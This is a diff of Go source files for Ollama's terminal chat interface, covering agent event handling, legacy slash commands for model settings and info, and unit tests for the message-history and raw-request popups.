|
||||
m.markEntryDirty(idx)
|
||||
m.liveMessages = append(m.liveMessages, api.Message{
|
||||
Role: "tool",
|
||||
Content: event.Content,
|
||||
ToolName: event.ToolName,
|
||||
ToolCallID: event.ToolCallID,
|
||||
})
|
||||
contextChanged = true
|
||||
case coreagent.EventToolsUnavailable:
|
||||
m.resetStreamingState()
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: "Tools are unavailable for this model."}))
|
||||
case coreagent.EventCompacted:
|
||||
m.resetRunState()
|
||||
skipResponseMetrics = true
|
||||
if len(event.Messages) > 0 {
|
||||
m.liveMessages = slices.Clone(event.Messages)
|
||||
m.messages = slices.Clone(event.Messages)
|
||||
contextChanged = true
|
||||
}
|
||||
m.status = "compacted"
|
||||
case coreagent.EventCompactionStarted:
|
||||
m.awaitingModel = false
|
||||
m.compacting = true
|
||||
m.compactingTokens = 0
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
m.status = "compacting"
|
||||
case coreagent.EventCompactionProgress:
|
||||
m.awaitingModel = false
|
||||
m.compacting = true
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
if event.Tokens > m.compactingTokens {
|
||||
m.compactingTokens = event.Tokens
|
||||
}
|
||||
case coreagent.EventCompactionSkipped:
|
||||
m.resetRunState()
|
||||
message := event.Content
|
||||
if strings.TrimSpace(message) == "" {
|
||||
message = coreagent.CompactionSkippedMessage(event.Error)
|
||||
}
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: message}))
|
||||
m.status = "compact skipped"
|
||||
case coreagent.EventModelStreamDone:
|
||||
m.awaitingModel = m.running && m.awaitingToolStart()
|
||||
case coreagent.EventError:
|
||||
m.resetRunState()
|
||||
m.eventErrorRendered = true
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: event.Error, err: event.Error}))
|
||||
}
|
||||
|
||||
if contextChanged {
|
||||
m.refreshLiveContextEstimate()
|
||||
}
|
||||
if event.Type == coreagent.EventCompacted && event.PromptTokens > 0 {
|
||||
m.contextTokens = event.PromptTokens
|
||||
m.contextEstimate = true
|
||||
}
|
||||
if messagesEndWithCompactionResult(m.liveMessages) || (len(m.liveMessages) == 0 && messagesEndWithCompactionResult(m.messages)) {
|
||||
skipResponseMetrics = true
|
||||
}
|
||||
if !skipResponseMetrics {
|
||||
m.applyResponseMetrics(event.Response)
|
||||
}
|
||||
}
|
||||
|
||||
func messagesEndWithCompactionResult(messages []api.Message) bool {
|
||||
if len(messages) == 0 {
|
||||
return false
|
||||
}
|
||||
return coreagent.IsCompactionToolResult(messages[len(messages)-1])
|
||||
}
|
||||
|
||||
func (m chatModel) awaitingToolStart() bool {
|
||||
if len(m.liveMessages) == 0 {
|
||||
return false
|
||||
}
|
||||
msg := m.liveMessages[len(m.liveMessages)-1]
|
||||
if msg.Role != "assistant" || len(msg.ToolCalls) == 0 {
|
||||
return false
|
||||
}
|
||||
for _, call := range msg.ToolCalls {
|
||||
if call.ID == "" || m.findToolEntry(call.ID) < 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *chatModel) ensureLiveAssistantMessage() int {
|
||||
if len(m.liveMessages) > 0 && m.liveMessages[len(m.liveMessages)-1].Role == "assistant" {
|
||||
return len(m.liveMessages) - 1
|
||||
}
|
||||
m.liveMessages = append(m.liveMessages, api.Message{Role: "assistant"})
|
||||
return len(m.liveMessages) - 1
|
||||
}
|
||||
|
||||
func (m *chatModel) refreshLiveContextEstimate() {
|
||||
messages := m.liveMessages
|
||||
if len(messages) == 0 {
|
||||
messages = m.messages
|
||||
}
|
||||
m.contextTokens = m.estimatePromptTokens(messages, "")
|
||||
m.contextEstimate = true
|
||||
}
|
||||
|
||||
//nolint:containedctx // event sinks need the session context to unblock sends on cancellation.
|
||||
type chatEventSink struct {
|
||||
ctx context.Context
|
||||
ch chan<- tea.Msg
|
||||
newMessagesPersisted *bool
|
||||
}
|
||||
|
||||
func (s chatEventSink) Emit(event coreagent.Event) error {
|
||||
if event.Type == coreagent.EventLoopStep && s.newMessagesPersisted != nil {
|
||||
*s.newMessagesPersisted = true
|
||||
}
|
||||
select {
|
||||
case s.ch <- chatAgentMsg{event: event}:
|
||||
return nil
|
||||
case <-s.ctx.Done():
|
||||
return s.ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
func waitForChatMsg(ch <-chan tea.Msg) tea.Cmd {
|
||||
if ch == nil {
|
||||
return nil
|
||||
}
|
||||
return func() tea.Msg {
|
||||
msg, ok := <-ch
|
||||
if !ok {
|
||||
return chatEventsClosedMsg{}
|
||||
}
|
||||
return msg
|
||||
}
|
||||
}
|
||||
|
||||
func (m *chatModel) scheduleTick() tea.Cmd {
|
||||
if m.tickActive {
|
||||
return nil
|
||||
}
|
||||
m.tickActive = true
|
||||
return chatTickCmd()
|
||||
}
|
||||
|
||||
func chatTickCmd() tea.Cmd {
|
||||
return tea.Tick(120*time.Millisecond, func(time.Time) tea.Msg {
|
||||
return chatTickMsg{}
|
||||
})
|
||||
}
|
||||
|
||||
func preloadModelCmd(ctx context.Context, preload func(context.Context, string, *api.ThinkValue) error, model string, think *api.ThinkValue) tea.Cmd {
|
||||
if preload == nil || strings.TrimSpace(model) == "" {
|
||||
return nil
|
||||
}
|
||||
if think != nil {
|
||||
copied := *think
|
||||
think = &copied
|
||||
}
|
||||
return func() tea.Msg {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
return chatModelPreloadDoneMsg{model: model, err: preload(ctx, model, think)}
|
||||
}
|
||||
}
|
||||
|
||||
func isUnsupportedThinkingError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
text := strings.ToLower(err.Error())
|
||||
return strings.Contains(text, "does not support thinking")
|
||||
}
|
||||
|
||||
func thinkRequestsThinking(think *api.ThinkValue) bool {
|
||||
if think == nil {
|
||||
return false
|
||||
}
|
||||
return think.Bool()
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,297 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type chatShowClient interface {
|
||||
Show(context.Context, *api.ShowRequest) (*api.ShowResponse, error)
|
||||
}
|
||||
|
||||
func (m *chatModel) handleLegacySetCommand(input string) (tea.Model, tea.Cmd) {
|
||||
args := strings.Fields(input)
|
||||
if len(args) < 2 {
|
||||
m.entries = append(m.entries, newSlashEntry(legacySetUsage()))
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
switch args[1] {
|
||||
case "think":
|
||||
return m.handleLegacySetThinkCommand(input)
|
||||
case "nothink":
|
||||
return m.applyThinkValue("off")
|
||||
case "verbose":
|
||||
return m.handleVerboseCommand("/verbose on")
|
||||
case "quiet":
|
||||
return m.handleVerboseCommand("/verbose off")
|
||||
case "format":
|
||||
if len(args) != 3 || args[2] != "json" {
|
||||
return m.legacyUsageError("Invalid or missing format. For JSON mode use `/set format json`.")
|
||||
}
|
||||
m.opts.Format = "json"
|
||||
m.refreshContextEstimate()
|
||||
m.status = "format json"
|
||||
return *m, nil
|
||||
case "noformat":
|
||||
m.opts.Format = ""
|
||||
m.refreshContextEstimate()
|
||||
m.status = "format off"
|
||||
return *m, nil
|
||||
case "parameter":
|
||||
if len(args) < 4 {
|
||||
m.entries = append(m.entries, newSlashEntry(legacyParameterUsage()))
|
||||
return *m, nil
|
||||
}
|
||||
params, err := api.FormatParams(map[string][]string{args[2]: args[3:]})
|
||||
if err != nil {
|
||||
return m.legacyUsageError(fmt.Sprintf("Couldn't set parameter: %v", err))
|
||||
}
|
||||
if m.opts.Options == nil {
|
||||
m.opts.Options = make(map[string]any)
|
||||
}
|
||||
for key, value := range params {
|
||||
m.opts.Options[key] = value
|
||||
}
|
||||
m.refreshContextEstimate()
|
||||
m.status = "parameter " + args[2]
|
||||
return *m, nil
|
||||
default:
|
||||
return m.legacyUsageError(fmt.Sprintf("Unknown command `/set %s`.", args[1]))
|
||||
}
|
||||
}
|
||||
|
||||
func (m *chatModel) handleLegacyLoadCommand(input string) (tea.Model, tea.Cmd) {
|
||||
args := strings.Fields(input)
|
||||
if len(args) != 2 {
|
||||
return m.legacyUsageError("Usage: `/load <model>`")
|
||||
}
|
||||
if err := m.applyModelSelection(args[1], true); err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: fmt.Sprintf("Could not switch model: %v", err), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
m.status = "ready"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) handleLegacyShowCommand(input string) (tea.Model, tea.Cmd) {
|
||||
args := strings.Fields(input)
|
||||
if len(args) != 2 {
|
||||
m.entries = append(m.entries, newSlashEntry(legacyShowUsage()))
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
resp, err := m.legacyShowResponse()
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: fmt.Sprintf("Could not show model info: %v", err), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
content, ok := m.legacyShowContent(args[1], resp)
|
||||
if !ok {
|
||||
return m.legacyUsageError(fmt.Sprintf("Unknown command `/show %s`.", args[1]))
|
||||
}
|
||||
m.entries = append(m.entries, newSlashEntry(content))
|
||||
m.status = "show " + args[1]
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) handleLegacyHelpCommand(input string) (tea.Model, tea.Cmd) {
|
||||
args := strings.Fields(input)
|
||||
if len(args) != 2 {
|
||||
m.entries = append(m.entries, newSlashEntry(m.helpSummary()))
|
||||
return *m, nil
|
||||
}
|
||||
switch strings.TrimPrefix(args[1], "/") {
|
||||
case "set":
|
||||
m.entries = append(m.entries, newSlashEntry(legacySetUsage()))
|
||||
case "show":
|
||||
m.entries = append(m.entries, newSlashEntry(legacyShowUsage()))
|
||||
case "shortcut", "shortcuts":
|
||||
m.entries = append(m.entries, newSlashEntry(legacyShortcutUsage()))
|
||||
default:
|
||||
m.entries = append(m.entries, newSlashEntry(m.helpSummary()))
|
||||
}
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) legacyShowResponse() (*api.ShowResponse, error) {
|
||||
client, ok := m.opts.Client.(chatShowClient)
|
||||
if !ok || client == nil {
|
||||
return nil, fmt.Errorf("model show is unavailable")
|
||||
}
|
||||
ctx := m.ctx
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
return client.Show(ctx, &api.ShowRequest{
|
||||
Model: m.opts.Model,
|
||||
Name: m.opts.Model,
|
||||
Options: m.opts.Options,
|
||||
})
|
||||
}
|
||||
|
||||
func (m chatModel) legacyShowContent(kind string, resp *api.ShowResponse) (string, bool) {
|
||||
switch kind {
|
||||
case "info":
|
||||
return legacyShowInfo(m.opts.Model, resp), true
|
||||
case "license":
|
||||
if strings.TrimSpace(resp.License) == "" {
|
||||
return "No license was specified for this model.", true
|
||||
}
|
||||
return resp.License, true
|
||||
case "modelfile":
|
||||
return resp.Modelfile, true
|
||||
case "parameters":
|
||||
return legacyShowParameters(resp.Parameters, m.opts.Options), true
|
||||
case "system":
|
||||
if strings.TrimSpace(resp.System) == "" {
|
||||
return "No system message was specified for this model.", true
|
||||
}
|
||||
return resp.System, true
|
||||
case "template":
|
||||
if strings.TrimSpace(resp.Template) == "" {
|
||||
return "No prompt template was specified for this model.", true
|
||||
}
|
||||
return resp.Template, true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func legacyShowInfo(modelName string, resp *api.ShowResponse) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("**Model info**\n\n")
|
||||
if strings.TrimSpace(modelName) != "" {
|
||||
fmt.Fprintf(&b, "- model: `%s`\n", modelName)
|
||||
}
|
||||
if !resp.ModifiedAt.IsZero() {
|
||||
fmt.Fprintf(&b, "- modified: `%s`\n", resp.ModifiedAt.Format(time.RFC3339))
|
||||
}
|
||||
if resp.Details.Family != "" {
|
||||
fmt.Fprintf(&b, "- family: `%s`\n", resp.Details.Family)
|
||||
}
|
||||
if resp.Details.ParameterSize != "" {
|
||||
fmt.Fprintf(&b, "- parameters: `%s`\n", resp.Details.ParameterSize)
|
||||
}
|
||||
if resp.Details.QuantizationLevel != "" {
|
||||
fmt.Fprintf(&b, "- quantization: `%s`\n", resp.Details.QuantizationLevel)
|
||||
}
|
||||
if resp.Details.ContextLength > 0 {
|
||||
fmt.Fprintf(&b, "- context length: `%d`\n", resp.Details.ContextLength)
|
||||
}
|
||||
if len(resp.Capabilities) > 0 {
|
||||
parts := make([]string, 0, len(resp.Capabilities))
|
||||
for _, capability := range resp.Capabilities {
|
||||
parts = append(parts, string(capability))
|
||||
}
|
||||
sort.Strings(parts)
|
||||
fmt.Fprintf(&b, "- capabilities: `%s`\n", strings.Join(parts, ", "))
|
||||
}
|
||||
if b.Len() == len("**Model info**\n\n") {
|
||||
b.WriteString("No additional model information was returned.")
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func legacyShowParameters(modelParameters string, userOptions map[string]any) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("**Model defined parameters**\n\n")
|
||||
if strings.TrimSpace(modelParameters) == "" {
|
||||
b.WriteString("No additional parameters were specified for this model.\n")
|
||||
} else {
|
||||
b.WriteString("```text\n")
|
||||
b.WriteString(strings.TrimSpace(modelParameters))
|
||||
b.WriteString("\n```\n")
|
||||
}
|
||||
if len(userOptions) > 0 {
|
||||
b.WriteString("\n**User defined parameters**\n\n")
|
||||
keys := make([]string, 0, len(userOptions))
|
||||
for key := range userOptions {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
for _, key := range keys {
|
||||
fmt.Fprintf(&b, "- `%s`: `%v`\n", key, userOptions[key])
|
||||
}
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (m *chatModel) legacyUsageError(message string) (tea.Model, tea.Cmd) {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: message, err: message}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m *chatModel) refreshContextEstimate() {
|
||||
m.contextTokens = m.estimatePromptTokens(m.messages, "")
|
||||
m.contextEstimate = true
|
||||
}
|
||||
|
||||
func bullets(title string, items ...string) string {
|
||||
parts := make([]string, 0, len(items)+2)
|
||||
parts = append(parts, title, "")
|
||||
for _, item := range items {
|
||||
parts = append(parts, "- "+item)
|
||||
}
|
||||
return strings.Join(parts, "\n")
|
||||
}
|
||||
|
||||
func legacySetUsage() string {
|
||||
return bullets("**Legacy set commands**",
|
||||
"`/set parameter <name> <value...>`",
|
||||
"`/set format json`",
|
||||
"`/set noformat`",
|
||||
"`/set verbose`",
|
||||
"`/set quiet`",
|
||||
"`/set think [low|medium|high|max]`",
|
||||
"`/set nothink`",
|
||||
)
|
||||
}
|
||||
|
||||
func legacyParameterUsage() string {
|
||||
return bullets("**Legacy parameters**",
|
||||
"`/set parameter seed <int>`",
|
||||
"`/set parameter num_predict <int>`",
|
||||
"`/set parameter top_k <int>`",
|
||||
"`/set parameter top_p <float>`",
|
||||
"`/set parameter min_p <float>`",
|
||||
"`/set parameter num_ctx <int>`",
|
||||
"`/set parameter temperature <float>`",
|
||||
"`/set parameter repeat_penalty <float>`",
|
||||
"`/set parameter repeat_last_n <int>`",
|
||||
"`/set parameter num_gpu <int>`",
|
||||
"`/set parameter stop <string> <string> ...`",
|
||||
)
|
||||
}
|
||||
|
||||
func legacyShowUsage() string {
|
||||
return bullets("**Legacy show commands**",
|
||||
"`/show info`",
|
||||
"`/show license`",
|
||||
"`/show modelfile`",
|
||||
"`/show parameters`",
|
||||
"`/show system`",
|
||||
"`/show template`",
|
||||
)
|
||||
}
|
||||
|
||||
func legacyShortcutUsage() string {
|
||||
return bullets("**Shortcuts**",
|
||||
"`ctrl+o`: toggle tool output",
|
||||
"`shift+enter`: insert a newline",
|
||||
"`shift+tab`: toggle permission mode",
|
||||
"`cmd+backspace`, `option+backspace`, `ctrl+w`: delete previous word",
|
||||
"`ctrl+c`: clear input, cancel current response, or confirm quit",
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package chat
|
||||
|
||||
import "strings"
|
||||
|
||||
func renderMarkdownForView(markdown string, width int) string {
|
||||
return strings.Join(wrapChatText(markdown, width), "\n")
|
||||
}
|
||||
|
||||
func splitRenderedBody(body string) []string {
|
||||
body = strings.TrimRight(body, "\n")
|
||||
if body == "" {
|
||||
return []string{""}
|
||||
}
|
||||
return strings.Split(body, "\n")
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,881 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
agentstore "github.com/ollama/ollama/agent/store"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestChatHistoryCommandShowsPromptMessages(t *testing.T) {
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "pwd")
|
||||
m := chatModel{
|
||||
input: []rune("/history"),
|
||||
opts: Options{SystemPrompt: "You are Ollama."},
|
||||
messages: []api.Message{
|
||||
{Role: "user", Content: "where am i?"},
|
||||
{
|
||||
Role: "assistant",
|
||||
Thinking: "Need to inspect cwd.",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
},
|
||||
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: "/tmp/project\n"},
|
||||
{Role: "assistant", Content: "You are in /tmp/project."},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd == nil {
|
||||
t.Fatal("history command should enter the history screen")
|
||||
}
|
||||
|
||||
fm := updated.(chatModel)
|
||||
if len(fm.entries) != 0 {
|
||||
t.Fatalf("entries = %d, want 0", len(fm.entries))
|
||||
}
|
||||
if fm.historyPopup == nil {
|
||||
t.Fatal("history popup was not opened")
|
||||
}
|
||||
if got := len(fm.historyPopup.messages); got != 5 {
|
||||
t.Fatalf("history messages = %d, want 5", got)
|
||||
}
|
||||
if fm.historyPopup.messages[0].Role != "system" || fm.historyPopup.messages[0].Content != "You are Ollama." {
|
||||
t.Fatalf("system prompt history message = %#v", fm.historyPopup.messages[0])
|
||||
}
|
||||
if fm.historyPopup.messages[2].Thinking != "Need to inspect cwd." || len(fm.historyPopup.messages[2].ToolCalls) != 1 {
|
||||
t.Fatalf("assistant tool history message = %#v", fm.historyPopup.messages[2])
|
||||
}
|
||||
|
||||
fm.width = 120
|
||||
fm.height = 40
|
||||
rendered := stripANSI(fm.View())
|
||||
for _, want := range []string{
|
||||
"Message history",
|
||||
"estimated prompt:",
|
||||
"system",
|
||||
"content: You are Ollama.",
|
||||
"user",
|
||||
"content: where am i?",
|
||||
"assistant",
|
||||
"thinking: Need to inspect cwd.",
|
||||
"tool calls:",
|
||||
"call-1 Bash",
|
||||
"args:",
|
||||
"\"command\": \"pwd\"",
|
||||
"tool",
|
||||
"tool: bash",
|
||||
"tool call: call-1",
|
||||
"/tmp/project",
|
||||
"content: You are in /tmp/project.",
|
||||
} {
|
||||
if !strings.Contains(rendered, want) {
|
||||
t.Fatalf("rendered history missing %q:\n%s", want, rendered)
|
||||
}
|
||||
}
|
||||
|
||||
updated, cmd = fm.Update(tea.KeyMsg{Type: tea.KeyEsc})
|
||||
fm = updated.(chatModel)
|
||||
if cmd == nil {
|
||||
t.Fatal("closing history should exit the history screen")
|
||||
}
|
||||
if fm.historyPopup != nil {
|
||||
t.Fatal("history popup should close on escape")
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryCommandHandlesEmptyHistory(t *testing.T) {
|
||||
m := chatModel{input: []rune("/history")}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd == nil {
|
||||
t.Fatal("history command should enter the history screen")
|
||||
}
|
||||
|
||||
fm := updated.(chatModel)
|
||||
if len(fm.entries) != 0 || fm.historyPopup == nil || len(fm.historyPopup.messages) != 0 {
|
||||
t.Fatalf("history output entries=%#v popup=%#v", fm.entries, fm.historyPopup)
|
||||
}
|
||||
fm.width = 80
|
||||
fm.height = 20
|
||||
if view := stripANSI(fm.View()); !strings.Contains(view, "No messages yet.") {
|
||||
t.Fatalf("history popup view missing empty state: %q", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatRawCommandShowsRequestJSON(t *testing.T) {
|
||||
registry := coreagent.NewRegistry()
|
||||
registry.Register(chatTestTool{})
|
||||
m := chatModel{
|
||||
input: []rune("/raw"),
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
SystemPrompt: "You are Ollama.",
|
||||
Format: "json",
|
||||
Tools: registry,
|
||||
Options: map[string]any{"temperature": 0.1},
|
||||
Think: &api.ThinkValue{Value: false},
|
||||
ContextWindowTokens: 4096,
|
||||
},
|
||||
messages: []api.Message{{
|
||||
Role: "user",
|
||||
Content: "what is in this image?",
|
||||
Images: []api.ImageData{[]byte("abc")},
|
||||
}},
|
||||
width: 120,
|
||||
height: 40,
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd == nil {
|
||||
t.Fatal("raw command should enter the raw request screen")
|
||||
}
|
||||
|
||||
fm := updated.(chatModel)
|
||||
if fm.historyPopup == nil {
|
||||
t.Fatal("raw popup was not opened")
|
||||
}
|
||||
if fm.historyPopup.title != "Raw request" {
|
||||
t.Fatalf("raw popup title = %q, want Raw request", fm.historyPopup.title)
|
||||
}
|
||||
rendered := stripANSI(fm.View())
|
||||
for _, want := range []string{
|
||||
"Raw request",
|
||||
"estimated prompt:",
|
||||
"\"model\": \"llama3.2\"",
|
||||
"\"role\": \"system\"",
|
||||
"\"content\": \"You are Ollama.\"",
|
||||
"\"format\": \"json\"",
|
||||
"\"tools\":",
|
||||
"\"options\":",
|
||||
"\"temperature\": 0.1",
|
||||
"\"think\": false",
|
||||
"[image data: 3 bytes]",
|
||||
} {
|
||||
if !strings.Contains(rendered, want) {
|
||||
t.Fatalf("rendered raw request missing %q:\n%s", want, rendered)
|
||||
}
|
||||
}
|
||||
if strings.Contains(rendered, "YWJj") {
|
||||
t.Fatalf("raw request should redact image base64:\n%s", rendered)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatRawCommandSavesRequestJSON(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
m := chatModel{
|
||||
input: []rune("/raw > request"),
|
||||
workingDir: dir,
|
||||
opts: Options{
|
||||
Model: "llama3.2",
|
||||
SystemPrompt: "You are Ollama.",
|
||||
},
|
||||
messages: []api.Message{{Role: "user", Content: "hello"}},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("raw redirect should write without opening a popup")
|
||||
}
|
||||
fm := updated.(chatModel)
|
||||
if fm.status != "raw saved" {
|
||||
t.Fatalf("status = %q, want raw saved", fm.status)
|
||||
}
|
||||
if fm.historyPopup != nil {
|
||||
t.Fatal("raw redirect should not open the raw popup")
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(dir, "request.json"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw := string(data)
|
||||
for _, want := range []string{
|
||||
"\"model\": \"llama3.2\"",
|
||||
"\"role\": \"system\"",
|
||||
"\"content\": \"You are Ollama.\"",
|
||||
"\"role\": \"user\"",
|
||||
"\"content\": \"hello\"",
|
||||
} {
|
||||
if !strings.Contains(raw, want) {
|
||||
t.Fatalf("saved raw request missing %q:\n%s", want, raw)
|
||||
}
|
||||
}
|
||||
if got := fm.entries[len(fm.entries)-1].content; !strings.Contains(got, "request.json") {
|
||||
t.Fatalf("save entry = %q, want saved filename", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatRawCommandRejectsPathRedirect(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
m := chatModel{
|
||||
input: []rune("/raw > ../request"),
|
||||
workingDir: dir,
|
||||
opts: Options{Model: "llama3.2"},
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd != nil {
|
||||
t.Fatal("invalid raw redirect should not open a popup")
|
||||
}
|
||||
fm := updated.(chatModel)
|
||||
if fm.status != "error" {
|
||||
t.Fatalf("status = %q, want error", fm.status)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(dir), "request.json")); !os.IsNotExist(err) {
|
||||
t.Fatalf("raw redirect wrote outside working dir, stat err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryCommandStartsAtBottom(t *testing.T) {
|
||||
messages := make([]api.Message, 0, 18)
|
||||
for i := range 18 {
|
||||
messages = append(messages, api.Message{Role: "user", Content: "prompt " + strconv.Itoa(i)})
|
||||
}
|
||||
m := chatModel{
|
||||
input: []rune("/history"),
|
||||
messages: messages,
|
||||
width: 80,
|
||||
height: 10,
|
||||
}
|
||||
|
||||
updated, cmd := m.handleSubmit()
|
||||
if cmd == nil {
|
||||
t.Fatal("history command should enter the history screen")
|
||||
}
|
||||
fm := updated.(chatModel)
|
||||
view := stripANSI(fm.View())
|
||||
if !strings.Contains(view, "prompt 17") {
|
||||
t.Fatalf("history popup should start at latest messages:\n%s", view)
|
||||
}
|
||||
if strings.Contains(view, "prompt 0") {
|
||||
t.Fatalf("history popup started at oldest messages:\n%s", view)
|
||||
}
|
||||
if title := strings.Split(view, "\n")[0]; strings.Contains(title, "/") {
|
||||
t.Fatalf("history popup should not show scroll counter in title:\n%s", view)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryMouseWheelScrollsPopup(t *testing.T) {
|
||||
messages := make([]api.Message, 0, 18)
|
||||
for i := range 18 {
|
||||
messages = append(messages, api.Message{Role: "user", Content: "prompt " + strconv.Itoa(i)})
|
||||
}
|
||||
m := chatModel{
|
||||
historyPopup: &chatHistoryPopup{messages: messages, stickToBottom: true},
|
||||
width: 80,
|
||||
height: 10,
|
||||
}
|
||||
maxScroll := m.historyPopupMaxScroll()
|
||||
if maxScroll == 0 {
|
||||
t.Fatal("test setup should produce scrollable history")
|
||||
}
|
||||
|
||||
updated, _ := m.Update(tea.MouseMsg{Type: tea.MouseWheelUp})
|
||||
m = updated.(chatModel)
|
||||
if m.historyPopup.stickToBottom {
|
||||
t.Fatal("mouse wheel should detach history popup from bottom")
|
||||
}
|
||||
if m.historyPopup.scroll >= maxScroll {
|
||||
t.Fatalf("mouse wheel up should scroll toward older history, got %d max %d", m.historyPopup.scroll, maxScroll)
|
||||
}
|
||||
|
||||
updated, _ = m.Update(tea.MouseMsg{Type: tea.MouseWheelDown})
|
||||
m = updated.(chatModel)
|
||||
if m.historyPopup.scroll != maxScroll {
|
||||
t.Fatalf("mouse wheel down should scroll back toward latest history, got %d want %d", m.historyPopup.scroll, maxScroll)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryMouseDragSelectsTextWithoutAutoCopy(t *testing.T) {
|
||||
m := chatModel{
|
||||
historyPopup: &chatHistoryPopup{
|
||||
messages: []api.Message{{Role: "user", Content: "alpha beta"}},
|
||||
stickToBottom: true,
|
||||
},
|
||||
width: 80,
|
||||
height: 10,
|
||||
}
|
||||
top, _ := m.historyPopupLayout()
|
||||
contentY := top + 1
|
||||
contentX := len(" content: ")
|
||||
|
||||
updated, _ := m.Update(tea.MouseMsg{Type: tea.MouseLeft, Button: tea.MouseButtonLeft, Action: tea.MouseActionPress, X: contentX, Y: contentY})
|
||||
m = updated.(chatModel)
|
||||
updated, _ = m.Update(tea.MouseMsg{Type: tea.MouseLeft, Button: tea.MouseButtonLeft, Action: tea.MouseActionMotion, X: contentX + len("alpha"), Y: contentY})
|
||||
m = updated.(chatModel)
|
||||
if got := m.selectedHistoryPopupText(); got != "alpha" {
|
||||
t.Fatalf("selected history text = %q, want alpha", got)
|
||||
}
|
||||
if !m.historyPopup.selection.active {
|
||||
t.Fatal("history selection should stay active during drag")
|
||||
}
|
||||
if !m.historyPopup.selection.dragging {
|
||||
t.Fatal("history selection should track drag before release")
|
||||
}
|
||||
|
||||
updated, cmd := m.Update(tea.MouseMsg{Type: tea.MouseRelease, Action: tea.MouseActionRelease, X: contentX + len("alpha"), Y: contentY})
|
||||
m = updated.(chatModel)
|
||||
if cmd != nil {
|
||||
t.Fatal("mouse release should not auto-copy selected text")
|
||||
}
|
||||
if !m.historyPopup.selection.active {
|
||||
t.Fatal("history selection should stay visible on release")
|
||||
}
|
||||
if m.historyPopup.selection.dragging {
|
||||
t.Fatal("history selection should stop tracking drag on release")
|
||||
}
|
||||
if got := m.selectedHistoryPopupText(); got != "alpha" {
|
||||
t.Fatalf("selected history text after release = %q, want alpha", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatHistoryMouseDragSelectionUsesDisplayColumns(t *testing.T) {
|
||||
